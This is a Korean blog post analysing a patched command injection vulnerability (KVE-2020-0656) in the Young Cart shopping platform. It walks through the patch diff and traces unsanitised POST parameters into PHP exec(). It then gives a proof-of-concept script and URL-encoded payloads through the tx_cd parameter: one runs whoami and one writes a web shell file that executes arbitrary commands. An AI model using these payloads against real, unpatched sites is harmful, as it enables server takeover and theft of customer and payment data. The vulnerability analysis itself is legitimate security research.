개요
KISA 버그 바운티를 진행하면서 항상 찾는 취약점들만 찾게 되는 것 같고, 시야가 좁아지는 느낌이라 취약점 패치 내역을 보고 1Day 취약점 분석을 진행해보려고 합니다.
취약점 관련 정보
정보 | 내용 |
취약 버전 | Young Cart <= 5.4.2.7 |
패치 버전 | Young Cart 5.4.2.8 |
취약점 종류 | Command Injection |
KVE 번호 | KVE-2020-0656 |
패치 내역 (-는 패치 이전 코드, +는 패치 이후 코드)
mobile/shop/kcp/pp_ax_hub.php
- $tran_cd = $_POST[ "tran_cd" ]; // 43Line, 처리 종류
+ $tran_cd = preg_replace('/[^0-9A-Za-z_\-\.]/i', '', $_POST[ "tran_cd" ]); // 43Line
- $ordr_idxx = $_POST[ "ordr_idxx" ]; // 46Line, 주문 번호
+ $ordr_idxx = preg_replace('/[^0-9A-Za-z_\-\.]/i', '', $_POST[ "ordr_idxx" ]); // 46Line
shop/kcp/pp_ax_hub.php
- $ordr_idxx = $_POST[ "ordr_idxx" ]; // 65Line, 주문 번호
+ $ordr_idxx = preg_replace('/[^0-9A-Za-z_\-\.]/i', '', $_POST[ "ordr_idxx" ]); // 65Line
+ $tx_cd = ''; // 98 Line
분석
패치 내역으로 tran_cd와 ordr_idxx 변수를 통해 해당 취약점이 발현되고 있음을 확인할 수 있었고, 취약한 변수들은 mf_do_tx() -> mf_exec() -> exec() 와 같은 흐름을 따라 exec() 함수의 인자로 사용되었습니다.
위에서 설명한 흐름에 따라 중요한 코드들을 간략히 나열하면 아래와 같습니다.
shop/kcp/pp_ax_hub.php
$tran_cd = $_POST[ "tran_cd" ]; // 43Line, 처리 종류
if ( $tran_cd != "" ){ // 247Line
$c_PayPlus->mf_do_tx( $trace_no, $g_conf_home_dir, $g_conf_site_cd, $g_conf_site_key, $tran_cd, "", $g_conf_gw_url, $g_conf_gw_port, "payplus_cli_slib", $ordr_idxx, $cust_ip, $g_conf_log_level , 0, 0, $g_conf_key_dir, $g_conf_log_dir); // 응답 전문 처리
shop/kcp/pp_ax_hub_lib.php
function mf_do_tx( $trace_no, $home_dir, $site_cd,
$site_key, $tx_cd, $pub_key_str,
$pa_url, $pa_port, $user_agent,
$ordr_idxx, $cust_ip, $log_level,
$opt, $mode, $key_dir, $log_dir){ // 150Line
$bin_exe = $home_dir.'/bin/pp_cli_exe ';
$res_data = $this->mf_exec($bin_exe . "\"". // 171Line ~
"site_cd=" . $site_cd . "," .
"site_key=" . $site_key . "," .
"tx_cd=" . $tx_cd . "," .
"pa_url=" . $pa_url . "," .
"pa_port=" . $pa_port . "," .
"ordr_idxx=" . $ordr_idxx . "," .
"enc_data=" . $this->m_encx_data . "," .
"enc_info=" . $this->m_encx_info . "," .
"trace_no=" . $trace_no . "," .
"cust_ip=" . $cust_ip . "," .
"key_path=" . $key_dir . "," .
"log_path=" . $log_dir . "," .
"log_level=" . $log_level . "," .
"plan_data=" . $payx_data .
$ordr_data .
$rcvr_data .
$escw_data .
$modx_data .
"\"") ;
function mf_exec(){ // 278Line
$arg = func_get_args();
if ( is_array( $arg[0] ) ) $arg = $arg[0];
$exec_cmd = array_shift( $arg );
while ( list(,$i) = each($arg) ){
$exec_cmd .= " " . escapeshellarg( $i );
}
$rt = exec( $exec_cmd );
return $rt;
}
해당 취약점은 KCP(한국사이버결제)를 사용하는 경우에만 발현 가능하기 때문에, 그 위험성에 비해 뒤늦게 발견되었다고 생각합니다. (Exploit 과정에 대한 난이도는 낮았음)
현재 KCP를 사용하여 취약점을 확인할 수 없기 때문에 실제 흐름과 비슷한 파일을 새로 만들어 취약점을 테스트 해보았습니다.
PoC.php
function mf_exec(){
$arg = func_get_args();
if ( is_array( $arg[0] ) ) $arg = $arg[0];
$exec_cmd = array_shift( $arg );
while ( list(,$i) = each($arg) ){
$exec_cmd .= " " . escapeshellarg( $i );
}
$rt = exec( $exec_cmd );
return $rt;
}
$tx_cd = $_GET['tx_cd'];
$bin_exe = $home_dir.'/bin/pp_cli_exe ';
echo("Command : ".$bin_exe . "\""."tx_cd=".$tx_cd."\"<br>");
$text = mf_exec($bin_exe . "\""."tx_cd=".$tx_cd."\"");
GET 파라메터 tx_cd 값을 조작함으로써 exec 함수의 인자로 사용되는 명령어를 임의로 변경 가능하였습니다.
명령어 실행 - whoami
tx_cd 값 : tx_cd=123%22;whoami;%22
WebShell 업로드 - echo "<?php system(\$['cmd']); ?>" > cmd.php
tx_cd 값 : tx_cd=123%22;echo%20%22%3C?php%20system(\$_GET[%27cmd%27]);%20?%3E%22%3Ecmd.php;%22
WebShell 확인
Reference
https://github.com/gnuboard/youngcart5/commit/b29af1e2b4eb2e2995e32dfa0090e02123556bfb
'Hack > Web' 카테고리의 다른 글
[KVE-2020-0164] YoungCart 1Day 취약점 분석 (SQL Injection) (0) | 2020.09.22 |
---|---|
[KVE-2020-0200,0202] YoungCart 1Day 취약점 분석 (Command Injection) (0) | 2020.09.22 |
Node js Prototype Pollution (0) | 2020.09.22 |
Relative Path Overwrite(RPO) (0) | 2020.09.22 |
XS Search Attack (Cross Site Search) (0) | 2020.09.22 |
댓글